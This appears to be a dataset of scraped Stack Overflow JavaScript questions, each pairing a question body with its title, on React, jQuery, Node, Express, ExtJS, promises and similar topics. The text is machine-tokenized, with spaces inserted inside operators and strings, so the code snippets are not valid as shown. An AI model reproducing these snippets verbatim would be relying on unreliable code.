function call add ( ) make ? "JS : I am trying to render some data from an api using react FlatList , ListItem each doc has a number of fields but ListItems only give me an option for `` title '' and `` subtitle '' is there anyway to customize and add more fields ? I checked the documentation and other examples but all I see is `` title '' and `` subtitle '' I want to display more fields on the render than just `` title '' and `` subtitle '' . render ( ) { return ( < ScrollView > < List containerStyle= { { borderTopWidth : 0 , borderBottomWidth : 0 } } > < FlatList data= { this.state.data } renderItem= { ( { item } ) = > ( < ListItem title= { ` $ { item.origin } - $ { item.destination } ` } subtitle= { item.date } subtitle1= { item.price } seats= { { seats : item.status } } containerStyle= { { borderBottomWidth : 0 } } / > ) } keyExtractor= { item = > item._id } ItemSeparatorComponent= { this.renderSeparator } / > < /List > < /ScrollView > ) ; } }","How do I customize or add more fields to FlatList , ListItem apart from `` title '' and `` subtitle ''" "JS : I have built a large application using JavaScript prototype and inheritance.But I am having a hard time organizing my code.For example I have a class carousel which has many functions like this : I would like to organize my code like this : But this will cause the value of `` this '' being lost . I can keep track of it using a global instance but this will cause problems when the class is inherited for example In another file I have something like this to override parent classMy inheritance is done like this : So I can do : Does anyone know how can I work around the `` this '' value ? Carousel.prototype.next = function ( ) { ... } Carousel.prototype.prev = function ( ) { .. } Carousel.prototype.bindControls = function ( ) { .. } Carousel.prototype.controls = { next : function ( ) { ... } , prev : function ( ) { ... } , bindControls : function ( ) { .. } } BigCarousel.prototype.next = function ( ) { ... } Function.prototype.inheritsFrom = function ( parentClass ) { if ( parentClass.constructor === Function ) { //Normal Inheritance this.prototype = $ .extend ( this.prototype , new parentClass ) ; this.prototype.constructor = this ; this.prototype.parent = parentClass.prototype ; } else { //Pure Virtual Inheritance this.prototype = $ .extend ( this.prototype , parentClass ) ; this.prototype.constructor = this ; this.prototype.parent = parentClass ; } return this ; } ; BigCarousel.inheritsFrom ( Carousel )",Organize prototype javascript while perserving object reference and inheritance "JS : A friend and I are trying to figure out exactly what is going on in this code that a tutorial produced . We are concerned about the flow of the client/server is once line 8 of factory.js is called : factory.jsMongoosePost.jsexpressRouter.jsHere is a gist just in-case people prefer it : https : //gist.github.com/drknow42/fe1f46e272a785f8aa75What we think we understand : factory.js sends a put request to the serverexpressRouter.js looks for the put request and finds that there is aroute and calls the post.upvote method from MongoosePost.js ( Howdoes it know what post to use ? and is req the body ? ) Mongoose executes adds 1 upvote to the post being sent and thenexecutes the callback found in expressRouter.jsWe do n't understand what res.json ( post ) does and again , we do n't understand how it knows what post to actually look at . app.factory ( 'postFactory ' , [ ' $ http ' , function ( $ http ) { var o = { posts : [ ] } ; o.upvote = function ( post ) { return $ http.put ( '/posts/ ' + post._id + `` /upvote '' ) .success ( function ( data ) { post.upvotes += 1 ; } ) ; } ; return o ; } ] ) ; var mongoose = require ( 'mongoose ' ) ; var PostSchema = new mongoose.Schema ( { title : String , url : String , upvotes : { type : Number , default : 0 } , comments : [ { type : mongoose.Schema.Types.ObjectId , ref : 'Comment ' } ] } ) ; PostSchema.methods.upvote = function ( cb ) { this.upvotes += 1 ; this.save ( cb ) ; } mongoose.model ( 'Post ' , PostSchema ) ; var express = require ( 'express ' ) ; var router = express.Router ( ) ; var mongoose = require ( 'mongoose ' ) ; var Post = mongoose.model ( 'Post ' ) ; var Comment = mongoose.model ( 'Comment ' ) ; router.put ( '/posts/ : post/upvote ' , function ( req , res , next ) { req.post.upvote ( function ( err , post ) { if ( err ) { return next ( err ) ; } console.log ( post ) ; res.json ( post ) ; } ) ; } ) ;","How does a put request work through Angular , Express , and Mongoose ?" "JS : I have couple of questions about the javascript for loop.First question : Output is 3 . Should n't it be 2 ? Second question : Timeouts are set correctly : 0 , 1000 and 2000 . But the output is 3,3,3 ( should be 0 , 1 , 2 ) . Does this mean the delayed functions are executed after the loop exits ? Why ? What should I read to understand all this mysterious javascript stuff ? Thank you . for ( i=0 ; i < =2 ; i++ ) { ; } console.log ( i ) ; for ( var i=0 ; i < =2 ; i++ ) { setTimeout ( function ( ) { console.log ( i ) ; } , i*1000 ) ; }",javascript for loop unexpected behaviour "JS : Suppose I create a new element : Now , later on in the script , I remove any JS references to it.Does the canvas element itself still exist , taking memory ? Or will it be garbage collected like any other unreferenced object ? Note that I have n't actually added it to the document . let canvas = document.createElement ( 'canvas ' ) ; canvas = null ;","Clean-up of elements that are no longer referenced , and were never added to the document" JS : I have a HTML table like above I 'm trying to do conditional formatting based on the formula applied on the numbers there I tried this : I could not get those valuesAny modifications or suggestions are appreciated Thank you < td Class='metric ' title='Test gave a performance metric . ' lastPassTag= '' > 1997.0 < /td > < td Class='metric ' title='Test gave a performance metric . ' lastPassTag= '' > 1997.0 < /td > < td Class='metric ' title='Test gave a performance metric . ' lastPassTag= '' > 1997.0 < /td > < td Class='metric ' title='Test gave a performance metric . ' lastPassTag= '' > 1997.0 < /td > < /tr > < tr class='detail-hide ' > < td Class='result-name ' > pmu : COMMITTED_PKT_BSB < /td > < td Class='metric ' title='Test gave a performance metric . ' lastPassTag= '' > 1655.0 < /td > < td Class='metric ' title='Test gave a performance metric . ' lastPassTag= '' > 1836.0 < /td > < td Class='metric ' title='Test gave a performance metric . ' lastPassTag= '' > 1655.0 < /td > < td Class='metric ' title='Test gave a performance metric . ' lastPassTag= '' > 1836.0 < /td > var tb = document.getElementByClass ( 'metric ' ),How can I conditionally format my HTML table ? "JS : I have overridden the paste event . I noticed that because the event 's default behavior is prevented , it is not currently possible to undo the `` paste '' with Ctrl+Z.Is there a way to override the undo functionality or do the above differently such that Ctrl+Z will work ? Related questionsJavaScript get clipboard data on paste event ( Cross browser ) Paste event modify content and return it at the same place $ ( this ) .on ( 'paste ' , function ( evt ) { // Get the pasted data via the Clipboard API . // evt.originalEvent must be used because this is jQuery , not pure JS . // https : //stackoverflow.com/a/29831598 var clipboardData = evt.originalEvent.clipboardData || window.clipboardData ; var pastedData = clipboardData.getData ( 'text/plain ' ) ; // Trim the data and set the value . $ ( this ) .val ( $ .trim ( pastedData ) ) ; // Prevent the data from actually being pasted . evt.preventDefault ( ) ; } ) ;",Undo an overridden paste in JS "JS : I have a jsfiddle that demonstrates the question : http : //jsfiddle.net/H6gML/8/Why does this happen ? It does n't happen in Chrome or Firefox . Is there a better way to fix this than to call .find ( `` test '' ) on the object ? EditTo clarify , I 'm not asking why the xml tag is added , rather , I 'm wondering why the .find ( ) call get 's rid of it . It does n't make sense to me . $ ( document ) .ready ( function ( ) { // this seems fine in IE9 and 10 var $ div = $ ( `` < div > '' ) ; console.log ( `` In IE , this < div > is just fine : `` + $ div [ 0 ] .outerHTML ) ; // this is weird in IE var $ test = $ ( `` < test > '' ) ; console.log ( `` However , this < test > has an xml tag prepended : \n '' + $ test [ 0 ] .outerHTML ) ; $ test.find ( `` test '' ) ; console.log ( `` Now , it does not : \n '' + $ test [ 0 ] .outerHTML ) ; console.log ( `` Why does this behave this way ? `` ) ; } ) ;",Why creating the elements with custom tags adds the xml namespace in the outerHTML in IE9 or 10 until the .find ( ) method is called ? "JS : Is there a ( native ) javascript API that offers the `` functionality '' of window.location to custom URLs ? something along the lines ofI 'm fairly certain there is no native API for this ( for what reason ever ) . If someone implemented this , please share the link . var url = new URL ( `` http : //stackoverflow.com/question ? hello=world # foo '' ) ; console.log ( url.hostname , url.path ) ; // out : `` stackoverflow.com '' , `` /question '' url.hash = `` bar '' ; url.query = `` '' ; console.log ( url ) ; // out : `` http : //stackoverflow.com/question # bar ''",URL management facility ? "JS : First of all , i know i 'm using extjs not in the `` propper '' way , but i also have other features in my site that do n't require extjs.My problem is rather odd . I have an html document like so : However , when i open my extjs application ( consists of windows that are used for certain tasks like editing a product ) , and i scroll ( in the browser , not in the extjs elements ) and hover over an element with a tooltip , the tooltip is rendered as if the document doesnt have a scrollbar , meaning that the tooltip is rendered all the way to the top of the document , instead of where the cursor is . The same thing goes for drag and drop and pretty much everything related to mouse orientated positions ... I looked around on forums and google and such , but saw noone with a similar problem , so if anyone has an idea how to fix this , that would be very , VERY helpfull ! Here is a screenshot to maybe give a better idea whats going on : Thanks in advance ! EDIT : Here is a simple fiddle to demonstrate my problem . since sencha fiddle is made with extjs itself , it autoresolves the problem . Therefor ill only paste the code here so you can test it in your own application.index.html app.js < body > < div id= '' extjs '' > //OTHER HTML ELEMENTS HERE < /div > < /body > < div id=extjs style= '' background-color : red ; width : 2000px ; height : 3000px ; '' > < p > content of website is here < /p > < /div > Ext.application ( { name : 'Fiddle ' , launch : function ( ) { Ext.create ( 'Ext.window.Window ' , { width : 500 , height : 500 , autoShow : true , renderTo : Ext.get ( 'extjs ' ) , items : { xtype : 'form ' , title : 'testform ' , items : [ { xtype : 'textfield ' , fieldLabel : 'test input ' , name : 'test ' , allowBlank : false } ] } } ) } } ) ;",ExtJS tooltip renders wrong with long body "JS : I have this : However the .catch never triggers . I though if I return a promise within a promise , it gets chained so that top level .then and .catch are re-reouted to child .then and .catch ? function sayHello ( ) { return new Promise ( resolve = > { throw new Error ( 'reject ' ) ; } ) ; } new Promise ( resolve = > sayHello ( ) ) .then ( ok = > console.log ( 'ok : ' , ok ) ) .catch ( err = > console.error ( 'err : ' , err ) ) ;",Top promise .catch not triggered when returned child promise rejects JS : What is going on ? ? This quirk caused me 1 hour painful debugging . How to avoid this in a sensible way ? a= '' 12345 '' a [ 2 ] =3a [ 2 ] = ' 9'console.log ( a ) //= > `` 12345 '',javascript string assignment by index number quirk "JS : I wonder how can I code thisNote : i am not going to code it again and again in my each ajax request function.i want it Genric . so that my script knows if there is any ajax request do $ ( `` # loader '' ) .css ( `` display '' , '' block '' ) ; and if there is any ajax success do $ ( `` # loader '' ) .css ( `` display '' , '' none '' ) ; //if there is any ajax request $ ( `` # loader '' ) .css ( `` display '' , '' block '' ) ; //on success : $ ( `` # loader '' ) .css ( `` display '' , '' none '' ) ;",How to know if there is any Ajax Request and ajax Success "JS : I 'm running a node.js webapp using javascript and webpack which I built following this guide . I 've installed the chrome debugger extension.I run the node server using the command : I 've also run webpack -- devtool source-mapMy launch config looks like this : After running webpack-dev-server -- progress -- colors and hitting F5 in VSCode Chrome loads up with the webpage , all my breakpoints appear solid red but when placed they jump a bit lower from where I placed them ( including on lines which are executing code ) . The breakpoints also do n't hit which makes me believe there 's something wrong with the debug mapping . When I have breakpoints placed on occasion random files get loaded and invisible breakpoints in them are hit , like in node_modules/firebase/index.js an invisible breakpoint over a commented out line is hit.I should also note running .scripts in vscode does yield ( amongst all the modules ) my entry.js file which I 'm trying to hit breakpoints in , namely : -webpack : ///./entry.js ( d : \myproject\entry.js ) Everything is placed in the root of my directories ( screenshot in case I make a mistake transposing the directories ) ; Also my webpack.config.js file : webpack-dev-server -- progress -- colors { // Use IntelliSense to learn about possible attributes . // Hover to view descriptions of existing attributes . // For more information , visit : https : //go.microsoft.com/fwlink/ ? linkid=830387 `` version '' : `` 0.2.0 '' , `` configurations '' : [ { `` type '' : `` chrome '' , `` request '' : `` launch '' , `` name '' : `` Launch Chrome against localhost '' , `` url '' : `` http : //localhost:8080 '' , `` webRoot '' : `` $ { workspaceFolder } '' } ] } module.exports = { entry : `` ./entry.js '' , output : { path : __dirname , filename : `` bundle.js '' } , module : { loaders : [ { test : /\.css $ / , loader : `` style-loader ! css-loader '' } ] } } ;",Breakpoints broken when placed in VSCode/Javascript on Chrome "JS : I have a NodeJS server ( Express ) and I am spreading the requests to multiple processors using the cluster module example on nodeJs site.The problem is that the benchmark from siege shows me that there is no increase in number of hits . This is the output of siege : After Clustering : Does that mean my server is already getting max throughput with single server probably because its a local machine or maybe Its not able to get 4 processors as there are too many processes running , I am not sure.How do I use the cluster module to increase throghput and why is my current code not succeding ? Also I checked that It does indeed create 4 instances of the server i.e the cluster.fork works.Any tips would be very useful . if ( cluster.isMaster ) { for ( var i = 0 ; i < numCPUs ; i++ ) { cluster.fork ( ) ; } ; cluster.on ( 'exit ' , function ( worker , code , signal ) { console.log ( 'worker ' + worker.process.pid + ' died ' ) ; cluster.fork ( ) ; } ) ; } else { server.listen ( app.get ( 'port ' ) , function ( ) { console.log ( 'HTTP server on port ' + app.get ( 'port ' ) + ' - running as ' + app.settings.env ) ; } ) ; // setup socket.io communication io.sockets.on ( 'connection ' , require ( './app/sockets ' ) ) ; io.sockets.on ( 'connection ' , require ( './app/downloadSockets ' ) ) ; } $ siege -c100 192.168.111.1:42424 -t10S** SIEGE 3.0.5** Preparing 100 concurrent users for battle.The server is now under siege ... Lifting the server siege ... done.Transactions : 1892 hitsAvailability : 100.00 % Elapsed time : 10.01 secsData transferred : 9.36 MBResponse time : 0.01 secsTransaction rate : 189.01 trans/secThroughput : 0.93 MB/secConcurrency : 1.58Successful transactions : 1892Failed transactions : 0Longest transaction : 0.05Shortest transaction : 0.00 $ siege -c100 192.168.111.1:42424 -t10S** SIEGE 3.0.5** Preparing 100 concurrent users for battle.The server is now under siege ... Lifting the server siege ... done.Transactions : 1884 hitsAvailability : 100.00 % Elapsed time : 9.52 secsData transferred : 9.32 MBResponse time : 0.01 secsTransaction rate : 197.90 trans/secThroughput : 0.98 MB/secConcurrency : 1.72Successful transactions : 1884Failed transactions : 0Longest transaction : 0.07Shortest transaction : 0.00",How to Increase throughput on a NodeJS server using cluster ? "JS : So i 'm getting this pretty complex array from an API with lots of nested arrays with objects etc . It looks like this : And i can extract the value that i want ( the channel property ) with this function : Now i 'm sure that there is a function in lodash to simplify this . Because triple nested for 's and if 's is not a nice way of coding . But i ca n't seem to find it in the documentation . Could someone please point me in the right direction ? public data : any [ ] = [ { language : 'Dutch ' , sources : [ { source : 'De Redactie ' , channels : [ { channel : 'binnenland ' , value : false } , { channel : 'buitenland ' , value : false } , { channel : 'sport ' , value : false } , { channel : 'cultuur en media ' , value : false } , { channel : 'politiek ' , value : false } , { channel : 'financien ' , value : false } ] } , { source : 'Tweakers ' , channels : [ { channel : 'hardware ' , value : false } , { channel : 'software ' , value : false } , { channel : 'tech ' , value : false } , { channel : 'smartphones ' , value : false } , { channel : 'audio ' , value : false } , { channel : 'video ' , value : false } ] } ] } , { language : 'English ' , sources : [ { source : 'BBC ' , channels : [ { channel : 'news ' , value : false } , { channel : 'sport ' , value : false } , { channel : 'weather ' , value : false } , { channel : 'travel ' , value : false } , { channel : 'politics ' , value : false } ] } , { source : 'Fox News ' , channels : [ { channel : ' u.s . ' , value : false } , { channel : 'world ' , value : false } , { channel : 'opinion ' , value : false } , { channel : 'politics ' , value : false } , { channel : 'entertainment ' , value : false } , { channel : 'business ' , value : false } ] } ] } ] setChannel ( channel : string , source : string , language : string ) { for ( const i of this.data ) { if ( i.language === language ) { for ( const j of i.sources ) { if ( j.source === source ) { for ( const k of j.channels ) { if ( k.channel === channel ) { console.log ( k.channel ) ; } } } } } } }",How to use lodash to get a value out of a complex array of objects ? "JS : I 'm using flowchart.js library to get SVG rendering of a flowchart.I need to include the flowchart rendering in a popup with dynamic bootstrap panels , but the result is messed up ( labels on boxes and small render : My code is : How to handle this ? Many thanks < div class= '' panel panel-default '' > < div class= '' panel-body '' > < div id= '' diagram '' > < /div > < /div > < /div > < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { var diagram = flowchart.parse ( 'st= > start : Start : > http : //www.google.com [ blank ] \n ' + ' e= > end : > http : //www.google.com\n ' + 'op1= > operation : My Operation\n ' + 'op2= > operation : Stuff|current\n ' + 'sub1= > subroutine : My Subroutine\n ' + 'cond= > condition : Yes \n ' + // use cond ( align-next=no ) to disable vertical align of symbols below 'or No ? \n : > http : //www.google.com\n ' + 'c2= > condition : Good idea|rejected\n ' + 'io= > inputoutput : catch something ... |request\n ' + '\n ' + 'st- > op1 ( right ) - > cond\n ' + 'cond ( yes , right ) - > c2\n ' + // conditions can also be redirected like cond ( yes , bottom ) or cond ( yes , right ) 'cond ( no ) - > sub1 ( left ) - > op1\n ' + // the other symbols too ... 'c2 ( true ) - > io- > e\n ' + 'c2 ( false ) - > op2- > e ' //allow for true and false in conditionals ) ; diagram.drawSVG ( 'diagram ' ) ; } ) ; < /script >",Flowchart.js SVG rendering messed up in popup "JS : I am having a slight issue when using async.queue with a filestreamI have a scenario where my filestream will finishI set fileRead to true however the queue will be empty and already have called drainthis then leads my `` done '' to never be calledwhat is the proper way to say `` end the queue '' after my filestream is `` end '' and the queue is empty ? or is there a better use of async which would allow me to do this ? async process line by line with the ability to exit early if one of the lines has errors var fs = require ( 'fs ' ) , util = require ( 'util ' ) , stream = require ( 'stream ' ) , es = require ( 'event-stream ' ) ; var async = require ( 'async ' ) ; var fileRead = false ; var lineNr = 0 ; var q = async.queue ( function ( task , callback ) { task ( function ( err , lineData ) { responseLines.push ( lineData ) ; callback ( ) ; } ) ; } , 5 ) ; var q.drain = function ( ) { if ( fileRead ) { done ( null , responseLines ) ; } } var s = fs.createReadStream ( 'very-large-file.csv ' ) .pipe ( es.split ( ) ) .pipe ( es.mapSync ( function ( line ) { s.pause ( ) ; q.push ( async.apply ( insertIntoDb , line ) ) s.resume ( ) ; } ) .on ( 'error ' , function ( err ) { done ( err ) ; } ) .on ( 'end ' , function ( ) { fileRead = true ; } ) ) ;","Async queue , filestream end how to know when both finished" "JS : I have a registration form and want to check if registered user will try to register again to show a alert window already registered using ajax function.i have used codeigniter framework.my function is working properly but when alert popup and press ok page is reloaded . i want to disablemy form code : my javascript function : < form class= '' modal-content '' name= '' form2 '' action= '' < ? = $ this- > config- > base_url ( ) ; ? > home/register_user '' method= '' post '' onSubmit= '' return ValidateRegister ( ) '' > < div class= '' modal-header '' > < button type= '' button '' class= '' close '' data-dismiss= '' modal '' aria-label= '' Close '' > < span aria-hidden= '' true '' > × < /span > < /button > < h4 class= '' modal-title '' > Create your account < /h4 > < /div > < div class= '' page-content vertical-align-middle '' style= '' display : block ; '' > < div class= '' form-group has-error '' > < label class= '' control-label '' for= '' inputTokenfieldError-tokenfield '' > < ? php echo validation_errors ( ) ; ? > < /label > < /div > < div class= '' form-group form-material floating '' > < input type= '' text '' class= '' form-control `` id= '' inputName '' name= '' username '' value= '' < ? php echo set_value ( 'username ' ) ; ? > '' autocomplete= '' off '' > < label class= '' floating-label '' > Username < /label > < /div > < div class= '' form-group form-material floating '' > < input type= '' email '' class= '' form-control `` id= '' my_email '' name= '' email '' value= '' < ? php echo set_value ( 'email ' ) ; ? > '' autocomplete= '' off '' > < label class= '' floating-label '' > Email < /label > < /div > < div class= '' form-group form-material floating '' > < input type= '' password '' class= '' form-control `` id= '' inputPassword '' name= '' password '' autocomplete= '' off '' > < label class= '' floating-label '' > Password < /label > < /div > < div class= '' form-group '' > < button type= '' submit '' class= '' btn btn-primary btn-block '' > Join Now - It 's Free < /button > < /div > < /form > function checkRegistrations ( ) { var email = $ ( ' # my_email ' ) .val ( ) ; $ .ajax ( { url : `` < ? = base_url ( ) ? > home/checkRegistration '' , async : false , type : `` POST '' , data : `` email= '' +email , dataType : `` html '' , success : function ( data ) { // alert ( data ) ; if ( data==1 ) { //event.preventDefault ( ) ; alert ( 'Email already registered ' ) ; return false ; window.location.reload ( false ) ; } else { return true ; } } } ) }",how can page reload disabled when data get using ajax success function in javascript codeigniter php ? "JS : Title mostly says it all : I 'm building a react / relay application which will allow the user to dynamically create charts at runtime displaying their various income streams over a specified time range . One feature of this chart is the ability of the user to specify the sampling interval of each income stream ( e.g . YEAR , QUARTER , MONTH , WEEK , etc . ) as a parameter of each stream . These values are defined in the schema as a GraphQLInputObjectType instance as follows : On the client-side , I have react-relay fragments defined of the following form : This variable value will be populated as part of dropdown menu in a separate component where each value in the dropdown should correspond to a valid timeSeriesIntervalEnum value . Although it would certainly be possible to simply hardcode these values in , the underlying API is still being changed quite often and I would like to reduce coupling and instead populate these fields dynamically by specifying the variable type for a given dropdown ( e.g . timeSeriesIntervalEnum ) and then use the graphql client schema to parse the values and populate either a config json file ( pre-runtime ) or assign the values dynamically at runtime.NOTE : I already do a bit of query string and fragment transpilation pre-start , so I 'm not averse to creating json config files as part of this process if that is required . enum timeSeriesIntervalEnum { YEAR QUARTER MONTH WEEK } fragment on BalanceSheet { income { # some income stream afterTax { values ( interval : $ samplingInterval ) dates ( interval : $ samplingInterval ) } } }","Given a set of GraphQL variable types , is it possible to use the client schema to create a map of all valid values for each type in the set" "JS : I want to identify strings that are made up exclusively of same-length character groups . Each one of these groups consists of at least two identical characters . So , here are some examples : @ ilkkachu : Thanks for your remark concerning the repetition of the same character group . I added the example above . Yes , I want the last sample to be tested as true : a string made up of the two letter groups aa , bb , bb , cc.Is there a simple way to apply this condition-check on a string using regular expressions and JavaScript ? My first attempt was to do something likeIt does look for groups of repeated characters but does not yet pay attention to these groups all being of the same length , as the output shows : How do I get the check to look for same-length character groups ? aabbcc trueabbccaa falsexxxrrrruuu false ( too many r 's ) xxxxxfffff trueaa true ( shortest possible positive example ) aabbbbcc true // I added this later to clarify my intention var strarr= [ 'aabbcc ' , 'abbccaa ' , 'xxxrrrruuu ' , 'xxxxxfffff ' , 'aa ' , 'negative ' ] ; var rx=/^ ( ( . ) \2+ ) + $ / ; console.log ( strarr.map ( str= > str+ ' : '+ ! ! str.match ( rx ) ) .join ( '\n ' ) ) ; aabbcc : trueabbccaa : falsexxxrrrruuu : true // should be false ! xxxxxfffff : trueaa : trueaabbbbcc : truenegative : false",How do I check if a string is made up exclusively of same-length character groups ? JS : I have got a strange behavior in JavaScript multiplication.I was trying to multiply the number with 100.Eg : I just want the numbers to be multiplied like thisand NOT like thisIs there any other method to multiply floating point Numbers ? > 9.5*100 > 950 > 9.95*100 > 994.9999999999999 > 9.995*100 > 999.4999999999999 > 9.9995*100 > 999.9499999999999 > 9.99995*100 > 999.995 > 9.999995*100 > 999.9995 > 9.9999995*100 > 999.9999499999999 > 9.99999995*100 > 999.9999949999999 > 9.999999995*100 > 999.9999995 > 9.9999999995*100 > 999.99999995 > 9.99999999995*100 > 999.999999995 > 9.999999999995*100 > 999.9999999995 > 9.9999999999995*100 > 999.9999999999501 > 9.99999999999995*100 > 999.999999999995 > 9.999999999999995*100 > 999.9999999999994 9.95*100995.0 or 9959.995*100999.59.9995*100999.959.9999995*100999.99995 > 9.995*100 > 999.4999999999999 > 9.9995*100 > 999.9499999999999 > 9.9999995*100 > 999.9999499999999,Javascript multiplication is not working properly for some numbers "JS : I want to implement authentication and authorization in the Flatiron stack ( using Flatiron , Resourceful and Restful ) . I want to require that a user has the necessary permissions , when trying to change a resource . In the Restful Readme file , there 's a note about authorization : There are several ways to provide security and authorization for accessing resource methods exposed with restful . The recommended pattern for authorization is to use resourceful 's ability for before and after hooks . In these hooks , you can add additional business logic to restrict access to the resource 's methods . It is not recommended to place authorization logic in the routing layer , as in an ideal world the router will be a reflected interface of the resource . In theory , the security of the router itself should be somewhat irrelevant since the resource could have multiple reflected interfaces that all required the same business logic . TL ; DR ; For security and authorization , you should use resourceful 's before and after hooks.So authorization can be handled by Resourceful 's hooking system.My actual problem is the authentication process at the beginning of every HTTP request.Let 's say I have a resource Post , a User and a resource Session . The REST API is being defined by using Restful . My main concern for this question is to ensure that a user has a session when creating a post . Other methods like save , update or for other resources like creating a user should work analogous.File app.js : File resources.js : There 's also a runnable version of the code ( thanks @ generalhenry ) .So assume a user trying to create a post , already has been given a session id , that is sent with every request he makes by a cookie header . How can I access that cookie in the before hook ( i.e . the authorization callback ) ? The example can be started with node app.js and HTTP requests can be made using curl . var flatiron = require ( 'flatiron ' ) ; var app = flatiron.app ; app.resources = require ( './resources.js ' ) ; app.use ( flatiron.plugins.http ) ; app.use ( restful ) ; app.start ( 8080 , function ( ) { console.log ( 'http server started on port 8080 ' ) ; } ) ; var resourceful = require ( 'resourceful ' ) ; var resources = exports ; resources.User = resourceful.define ( 'user ' , function ( ) { this.restful = true ; this.string ( 'name ' ) ; this.string ( 'password ' ) ; } ) ; resources.Session = resourceful.define ( 'session ' , function ( ) { // note : this is not restful this.use ( 'memory ' ) ; this.string ( 'session_id ' ) ; } ) ; resources.Post = resourceful.define ( 'post ' , function ( ) { this.restful = true ; this.use ( 'memory ' ) ; this.string ( 'title ' ) ; this.string ( 'content ' ) ; } ) ; resources.Post.before ( 'create ' , function authorization ( post , callback ) { // What should happen here ? // How do I ensure , a user has a session id ? callback ( ) ; } ) ;",Authentication and authorization with Flatiron 's Resourceful & Restful "JS : I have the following issue , where I draw an ASCII character in the terminal window , and move the cursor to another position and repeat the process with the following code.Everything goes well until I reach to a point where there will be a full line showing on the screen that I did n't draw as the image bellow showsIf I keep the app going eventually the whole screen will fill up with lines covering what I 'm drawing.QuestionsI do n't believe I 'm drawing those lines , if this is true what is happening with the terminal window ? Tech SecmacOSTerminal and iTerm have the same issue NodeJS v6.40 const readline = require ( 'readline ' ) ; //// Set the direction of the cursor//let dirrection_y = true ; let dirrection_x = true ; //// Set the initial position of the cursor//let position_x = 0 ; let position_y = 0 ; //// Get the terminal window size//let window_x = process.stdout.columns ; let window_y = process.stdout.rows ; //// Set the cursor to the top left corner of the terminal window so we can clear// the terminal screen//readline.cursorTo ( process.stdout , position_x , position_y ) //// Clear everything on the screen so we have a clean template to draw on.//readline.clearScreenDown ( process.stdout ) //// Create the interface so we can use it to for example write on the console.//let rl = readline.createInterface ( { input : process.stdin , output : process.stdout , } ) ; //// React to CTR+C so we can close the app , and potentially do something before// closing the app.//rl.on ( 'close ' , function ( ) { process.exit ( 0 ) ; } ) ; //// Start the main loop//draw ( ) ; //// The main loop that moves the cursor around the screen.//function draw ( ) { setTimeout ( function ( ) { // // 1 . Move the cursor up or down // dirrection_y ? position_y++ : position_y -- // // 2 . When we reach the bottom of the terminal window , we switch // direction from down , to up . // if ( position_y == window_y ) { // // 1 . Switch the direction to go up // dirrection_y = false // // 2 . Move the next column or previous one depending on the // direction . // dirrection_x ? position_x++ : position_x -- } // // 3 . When we reach the top of the terminal screen , switch direction // again // if ( position_y < 0 ) { // // 1 . Switch the direction to go down // dirrection_y = true // // 2 . Move the next column or previous one depending on the // direction . // dirrection_x ? position_x++ : position_x -- } // // 4 . When we reach the far right of the terminal screen we switch // direction from 'to right ' , to 'to left ' // if ( position_x == window_x ) { dirrection_x = false } // // 5 . When we reach the far left ( beginning ) of the terminal window // we switch direction again . // if ( position_x == 0 ) { dirrection_x = true } // // 6 . Write on char on the terminal screen . // rl.write ( '█ ' ) ; // // 7 . Move the cursor to the next position // readline.cursorTo ( process.stdout , position_x , position_y ) // // 8 . Restart the loop . // draw ( ) ; } , 100 ) }",Readline in NodeJS is drawing unwanted lines "JS : I have this tested function below that works fine for fading an element in or out.What do I gain by using JQuery ? ThanksRunning a search on fadeIn ( ) on the core jquery library I get one hit here : Using the JQuery Source Viewer Effects.prototype.fade = function ( direction , max_time , element ) { var elapsed = 0 ; function next ( ) { elapsed += 10 ; if ( direction === 'up ' ) { element.style.opacity = elapsed / max_time ; } else if ( direction === 'down ' ) { element.style.opacity = ( max_time - elapsed ) / max_time ; } if ( elapsed < = max_time ) { setTimeout ( next , 10 ) ; } } next ( ) ; } ; jQuery.each ( { slideDown : genFx ( `` show '' , 1 ) , slideUp : genFx ( `` hide '' , 1 ) , slideToggle : genFx ( `` toggle '' , 1 ) , fadeIn : { opacity : `` show '' } , fadeOut : { opacity : `` hide '' } , fadeToggle : { opacity : `` toggle '' } } , function ( name , props ) { jQuery.fn [ name ] = function ( speed , easing , callback ) { return this.animate ( props , speed , easing , callback ) ; } ; } ) ; function ( prop , speed , easing , callback ) { var optall = jQuery.speed ( speed , easing , callback ) ; if ( jQuery.isEmptyObject ( prop ) ) { return this.each ( optall.complete , [ false ] ) ; } prop = jQuery.extend ( { } , prop ) ; return this [ optall.queue === false ? `` each '' : `` queue '' ] ( function ( ) { if ( optall.queue === false ) { jQuery._mark ( this ) ; } var opt = jQuery.extend ( { } , optall ) , isElement = this.nodeType === 1 , hidden = isElement & & jQuery ( this ) .is ( `` : hidden '' ) , name , val , p , display , e , parts , start , end , unit ; opt.animatedProperties = { } ; for ( p in prop ) { name = jQuery.camelCase ( p ) ; if ( p ! == name ) { prop [ name ] = prop [ p ] ; delete prop [ p ] ; } val = prop [ name ] ; if ( jQuery.isArray ( val ) ) { opt.animatedProperties [ name ] = val [ 1 ] ; val = prop [ name ] = val [ 0 ] ; } else { opt.animatedProperties [ name ] = opt.specialEasing & & opt.specialEasing [ name ] || opt.easing || `` swing '' ; } if ( val === `` hide '' & & hidden || val === `` show '' & & ! hidden ) { return opt.complete.call ( this ) ; } if ( isElement & & ( name === `` height '' || name === `` width '' ) ) { opt.overflow = [ this.style.overflow , this.style.overflowX , this.style.overflowY ] ; if ( jQuery.css ( this , `` display '' ) === `` inline '' & & jQuery.css ( this , `` float '' ) === `` none '' ) { if ( ! jQuery.support.inlineBlockNeedsLayout ) { this.style.display = `` inline-block '' ; } else { display = defaultDisplay ( this.nodeName ) ; if ( display === `` inline '' ) { this.style.display = `` inline-block '' ; } else { this.style.display = `` inline '' ; this.style.zoom = 1 ; } } } } } if ( opt.overflow ! = null ) { this.style.overflow = `` hidden '' ; } for ( p in prop ) { e = new jQuery.fx ( this , opt , p ) ; val = prop [ p ] ; if ( rfxtypes.test ( val ) ) { e [ val === `` toggle '' ? hidden ? `` show '' : `` hide '' : val ] ( ) ; } else { parts = rfxnum.exec ( val ) ; start = e.cur ( ) ; if ( parts ) { end = parseFloat ( parts [ 2 ] ) ; unit = parts [ 3 ] || ( jQuery.cssNumber [ p ] ? `` '' : `` px '' ) ; if ( unit ! == `` px '' ) { jQuery.style ( this , p , ( end || 1 ) + unit ) ; start = ( end || 1 ) / e.cur ( ) * start ; jQuery.style ( this , p , start + unit ) ; } if ( parts [ 1 ] ) { end = ( parts [ 1 ] === `` -= '' ? -1 : 1 ) * end + start ; } e.custom ( start , end , unit ) ; } else { e.custom ( start , val , `` '' ) ; } } } return true ; } ) ; }",Animation fade | jQuery vs 